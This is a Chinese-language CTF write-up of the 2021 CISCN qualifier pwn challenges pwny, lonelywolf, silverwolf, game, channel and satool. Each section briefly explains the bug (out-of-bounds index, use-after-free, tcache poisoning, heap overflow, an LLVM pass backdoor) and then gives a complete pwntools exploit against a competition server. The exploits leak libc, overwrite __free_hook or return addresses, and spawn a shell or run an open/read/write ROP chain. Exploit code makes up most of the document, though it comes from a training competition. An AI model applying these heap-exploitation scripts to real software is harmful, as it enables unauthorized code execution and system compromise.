2021CISCN初赛-WP(PWN)

前言

熬到4点多,总算把题目全做完了,感谢逆向师傅lantern的帮忙,总的来说题量还是有点多的,题目也有点难度,有些题差点来不及交,还好最终做完了。

pwny

write的时候可以越界,第一次读入到0x202860处使fd非法,从而在第二次读入时会写入0,这样就可以做到写入操作。

通过read越界读取出libc,然后越界写入system地址到exit退出时调用的地址,并将参数修改为/bin/sh,退出程序即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = remote("124.71.230.240","26157")
libc = ELF("pwny").libc
def write_s(idx):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def read_s(idx):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Index: ")
p.send(p64(idx))
write_s(0x100)
write_s(0x100)
read_s(0xFFFFFFFFFFFFFFFC)
p.recvuntil("Result: ")
libc.address = int(p.recv(12),16) -0x3ec680
print hex(libc.address)
read_s(0xFFFFFFFFFFFFFFF5)
p.recvuntil("Result: ")
pie = int(p.recv(12),16)+0x58
print hex(pie)
one = [0x4f3d5,0x4f432,0x10a41c]
write_s((libc.address+0x61b968 - pie)/8)
p.sendline('/bin/sh\x00')
write_s((libc.address+0x61bf60 - pie)/8)
p.sendline(p64(libc.sym['system']))
#gdb.attach(p,'b _dl_fini')
p.sendline('3')
p.interactive()

lonelywolf

只有一个堆块的操作,存在UAF,修改tcache结构,使获得一个指向size位(0x80)及一个指向fd的tcache,并且设置0x90的tcache为8,然后利用上面的两个tcache修改其size为0x90,并free掉,这样即可获得libc地址。

然后利用UAF申请到__free_hook并修改为system地址,即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
p = process("lonelywolf")
context.log_level = 'debug'
p = remote("124.71.230.240","26077")
libc = ELF("lonelywolf").libc
def add(size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(0))
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(data):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(0))
p.recvuntil("Content: ")
p.send(data)
def show():
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(0))
def free():
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(0))
add(0x78)
free()
edit('\x00'*0x10+'\n')
free()
show()
p.recvuntil("Content: ")
heap = u64(p.recv(6)+'\x00\x00')-0x260
print hex(heap)
edit(p64(heap+0x10)+'\n')
add(0x78)
add(0x78)
edit(p32(0)+'\x00\x01\x01\x08'+p64(0)*10+p64(heap+0x250)*3+p64(heap+0x260))
add(0x68)
edit(p64(0)+p64(0x91)+p64(0)+'\n')
add(0x38)
edit('\x00'*0x8+p64(0x31)+'\n')
add(0x78)
free()
show()
p.recvuntil("Content: ")
libc.address = u64(p.recv(6)+'\x00\x00')-0x3ebca0
print hex(libc.address)
add(0x28)
free()
edit(p64(libc.sym['__free_hook']-8)+'\n')
add(0x28)
add(0x28)
edit('/bin/sh\x00'+p64(libc.sym['system'])+'\n')
free()
#gdb.attach(p)
p.interactive()

silverwolf

劫持步骤同上,达到任意地址申请的目的后,申请到environ变量获取栈地址,从而将栈返回地址覆盖为我们的rop串,实现orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
from pwn import *
#p = process("silverwolf")
context.log_level = 'debug'
p = remote("124.71.230.240","26121")
libc = ELF("silverwolf").libc
def add(size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(0))
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(data):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(0))
p.recvuntil("Content: ")
p.send(data)
def show():
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(0))
def free():
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(0))
add(0x78)
free()
show()
p.recvuntil("Content: ")
heap = u64(p.recv(6)+'\x00\x00')-0x1170
print hex(heap)

edit(p64(heap+0x10)+'\n')
add(0x78)
add(0x78)
edit('\x00'*0x78)
add(0x78)
free()
edit(p64(heap+0x10)+'\n')
add(0x78)
add(0x78)
edit(p32(0)+'\x01\x01\x04\x08'+p64(0)*10+p64(heap+0xe50)+p64(heap+0xe50+0x80)+p64(heap+0xe40)+p64(heap+0xe50))
add(0x68)
edit(p64(0)+p64(0x91)+p64(0)+'\n')
add(0x58)
edit(p64(0)+p64(0x81)+p64(0)+'\n')
add(0x78)
free()
show()
p.recvuntil("Content: ")
libc.address = u64(p.recv(6)+'\x00\x00')-0x3ebca0
print hex(libc.address)
add(0x28)
add(0x28)
add(0x28)
add(0x68)
free()
edit(p64(libc.sym['environ'])+'\n')
add(0x68)
add(0x68)
show()
p.recvuntil("Content: ")
stack = u64(p.recv(6)+'\x00\x00')-0xf0-0x30
print hex(stack)
add(0x78)
free()


pop_rax = 0x0000000000043ae8 + libc.address
pop_rdi = 0x00000000000215bf + libc.address
pop_rsi = 0x0000000000023eea + libc.address
pop_rdx = 0x0000000000001b96 + libc.address
syscall = 0x11B637 + libc.address
payload = ''
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(heap + 0x001960)
payload += p64(pop_rsi)
payload += p64(4)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap + 0x1000)
payload1 = ''
payload1 += p64(pop_rdx)
payload1 += p64(0x100)
payload1 += p64(syscall)#read
payload1 += p64(pop_rax)
payload1 += p64(1)
payload1 += p64(pop_rdi)
payload1 += p64(1)
payload1 += p64(syscall)#write



edit(p64(stack+0x78)+'\n')
add(0x78)
edit('./flag\x00\n')
add(0x78)
edit(payload1+'\n')

add(0x78)
free()
edit(p64(stack)+'\n')
add(0x78)
edit('./flag\x00\n')
add(0x78)
#gdb.attach(p,'b *$rebase(0x1056)')
edit(payload+'\n')
p.interactive()

game

对玩家进行位移时存在溢出,可以修改下一个chunk的size位,从而实现堆溢出攻击。利用unsortbin泄漏出libc后,申请到environ变量获取栈地址,然后将栈上的返回地址覆盖为ROP串实现ORW即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
p = process("./game")
p = remote("124.71.230.240","26156")
libc = ELF("./game1").libc
#context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']

def op(op):
return "op:" + str(op) + "\n"
def id(id):
return "id:" + str(id) + "\n"
def YMAX(y_max):
return "w:" + str(y_max) + "\n"
def XMAX(x_max):
return "l:" + str(x_max) + "\n"
def size(size):
return "s:" + str(size) + "\n"

def init_game(xmax, ymax):
line = ""
line += op(1)
line += XMAX(xmax)
line += YMAX(ymax)
p.recvuntil("cmd>")
p.send(line + "\n")

def create_player(_id, _size,data):
line = ""
line += op(2)
line += id(_id)
line += size(_size)
p.recvuntil("cmd>")
p.send(line + "\n")
p.recvuntil("desc>")
p.send(data)

def del_player_by_id(_id):
line = ""
line += op(3)
line += id(_id)
p.recvuntil("cmd>")
p.send(line + "\n")

def display_all():
line = ""
line += op(4)
p.recvuntil("cmd>")
p.send(line + "\n")

def dec_y_by_id(_id):
line = ""
line += op(5)
line += id(_id)
p.recvuntil("cmd>")
p.send(line + "\n")

def inc_y_by_id(_id):
line = ""
line += op(6)
line += id(_id)
p.recvuntil("cmd>")
p.send(line + "\n")

def dec_x_by_id(_id):
line = ""
line += op(7)
line += id(_id)
p.recvuntil("cmd>")
p.send(line + "\n")

def inc_x_by_id(_id):
line = ""
line += op(8)
line += id(_id)
p.recvuntil("cmd>")
p.send(line + "\n")

init_game(0x4, 8)
create_player(4,0x28,'nuoye')
create_player(1,0x410,'nuoye')
create_player(2,0x420,'nuoye')
create_player(5,0x28,'nuoye')
create_player(6,0x28,'nuoye')
create_player(7,0x28,'nuoye')
del_player_by_id(1)
create_player(1,0x410,'a'*8)
display_all()
p.recvuntil("a"*8)
libc.address = u64(p.recv(6)+'\x00\x00')-0x3ebca0
print hex(libc.address)
inc_y_by_id(2)
inc_y_by_id(2)
del_player_by_id(1)
create_player(1,0x410,'a'*(0x1e8)+p64(0x251))
#del_player_by_id(2)
del_player_by_id(6)
del_player_by_id(7)
del_player_by_id(4)
del_player_by_id(5)
del_player_by_id(1)
create_player(1,0x228,b'\x00'*0x28+p64(0x31)+p64(libc.sym['environ']-0x28))
create_player(2,0x228,'a')
create_player(5,0x228,'a')
create_player(3,0x28,'a'*0x28)
display_all()
p.recvuntil("a"*0x28)
stack = u64(p.recv(6)+'\x00\x00') -0x510
print hex(stack)


del_player_by_id(2)
del_player_by_id(5)
del_player_by_id(1)
create_player(1,0x228,b'\x00'*0x58+p64(0x31)+p64(stack))
create_player(2,0x228,b'\x00'*0x58+p64(0x31)+p64(stack))
create_player(5,0x228,'./flag\x00')
#create_player(2,0x228,b'\x00'*0x58+p64(0x31)+p64(stack))

pop_rax = 0x0000000000043a78 + libc.address
pop_rdi = 0x000000000002155f + libc.address
pop_rsi = 0x0000000000023e8a + libc.address
pop_rdx = 0x0000000000001b96 + libc.address
syscall = 0x11B957 + libc.address

payload = ''
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(stack + 0xb8)
payload += p64(pop_rsi)
payload += p64(4)
payload += p64(pop_rdx)
payload += p64(4)
payload += p64(syscall)#open
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(stack + 0x200)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(syscall)#read
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(syscall)#write
payload += './flag\x00'
create_player(8,0x228,payload)
'''
gdb.attach(p,'b *$rebase(0x1D74)')
'''
p.interactive()

channel

arm64位的pwn题,静态地址,存在UAF的问题,劫持链表的下一项即可实现任意地址free(需符合size检查)。

将tcache结构加入到链表中,再申请一个较小的chunk,即可实现堆溢出,然后劫持到__free_hook,并修改为system函数,即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
context.arch = 'aarch64'
#context.log_level = 'debug'
#x/20x 0x4000012018
#p = gdb.debug('./channel','b *0x40000010f8')
p = remote("124.71.230.240","26027")
def regsiter(key):
p.recvuntil("> ")
p.sendline("1")
p.recvuntil("key> ")
p.send(key)
def unregsiter(key):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("key> ")
p.send(key)
def show(key):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("key> ")
p.send(key)
def edit(key,size,data):
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("key> ")
p.send(key)
p.recvuntil("len> ")
p.sendline(str(size))
p.recvuntil("content> ")
p.send(data)
free_got = 0x11F30+0x4000000000
regsiter("111")
edit("111",0x1f8,b'2'*8+b'\x00'*0xf8+p64(0x40009bca30)+p64(0x4000011FC8))
edit("111",0x1c8,b'2'*8+b'\x00'*0xf8+p64(0x40009bca30)+p64(0x4000011FC8))
regsiter("222")
regsiter("333")
unregsiter("222")
edit("111",0x110,b'2'*8+b'\x00'*0xf8+p64(0x40009bca30)+p64(0x4000011FC8))
show('2'*8)
print(p.recvline())
libc_base = u64(p.recv(3).ljust(8,b'\x00'))#+0x4000000000 -0x16E630+0xe8
libc_base = 0x4000848000
print(hex(libc_base))
#8f0
#4e0
'''
/etc/qemu-binfmt/aarch64/lib/ld-linux-aarch64.so.1
/etc/qemu-binfmt/aarch64/lib/libc.so.6
'''

edit('333',0x100,'1')
unregsiter('1')
regsiter("111")
regsiter("222")
regsiter("444")
unregsiter("222")
edit("111",0x110,b'2'*8+b'\x00'*0xf8+p64(0x40009bc000)+p64(0x4000011fb8))

regsiter("555")
edit(p64(0)+p64(0x291)+b'\x00'*0x1c+p32(0x10000)+b'\x00'*0x5c+p64(0x00000),0x20,'aaa')
show('2'*8)
regsiter("666")
unregsiter("555")
unregsiter("666")
edit('444',0x100,p64(0)*3+p64(0x100)+p64(libc_base+0x16FC30))
regsiter("/bin/sh\x00")
regsiter(p64(0x40568+libc_base))
unregsiter("/bin/sh\x00")
#show('2'*8)

p.interactive()

satool

跟2021红帽有点类似,调试出了几个函数save、stealkey、fakekey、run。run可以执行一个指针处的函数,save会为这个指针申请地址,通过特定的申请可以得到unsortbin的,stealkey会将当前的指针的值存储起来,fakekey会将上面存储的值与传入的参数相加。所以可以利用unsortbin泄漏出libc,然后用stealkey保存,fakekey计算偏移到onegadget,最后用run运行即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

import os
os.system("clang -emit-llvm -S exp.c -o exp.bc")
'''
os.system("opt -load ./SAPass.so -SAPass ./exp.bc")
p = gdb.debug(["opt",'-load','./SAPass.so','-SAPass','./exp.bc'])
p.interactive()
'''


from pwn import *
import sys
context.log_level='debug'
ip = '124.71.230.240'
port = 25989
con = remote(ip, port)
f = open("./exp.bc","rb")

payload=f.read()

f.close()

payload2 = payload.encode("base64")
con.sendlineafter("bitcode: \n", payload2)

con.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void save(char * a,int b);
void takeaway();
void stealkey();
void fakekey(int a);
void run();

void B4ckDo0r(){
int a[2];
a[0]= 0x20;
a[1] = 2;
char * b = "hello";
save(b,0x28);
save(b,0x28);
save(b,0x28);
save(b,0x28);
save(b,0x28);
save(b,0x28);
save(b,0x28);
save(b,0x28);
save(b,0x28);
save(b,0x28);
stealkey();
fakekey(0xFFFFFFFFFFC63615+0x16d);
run();
}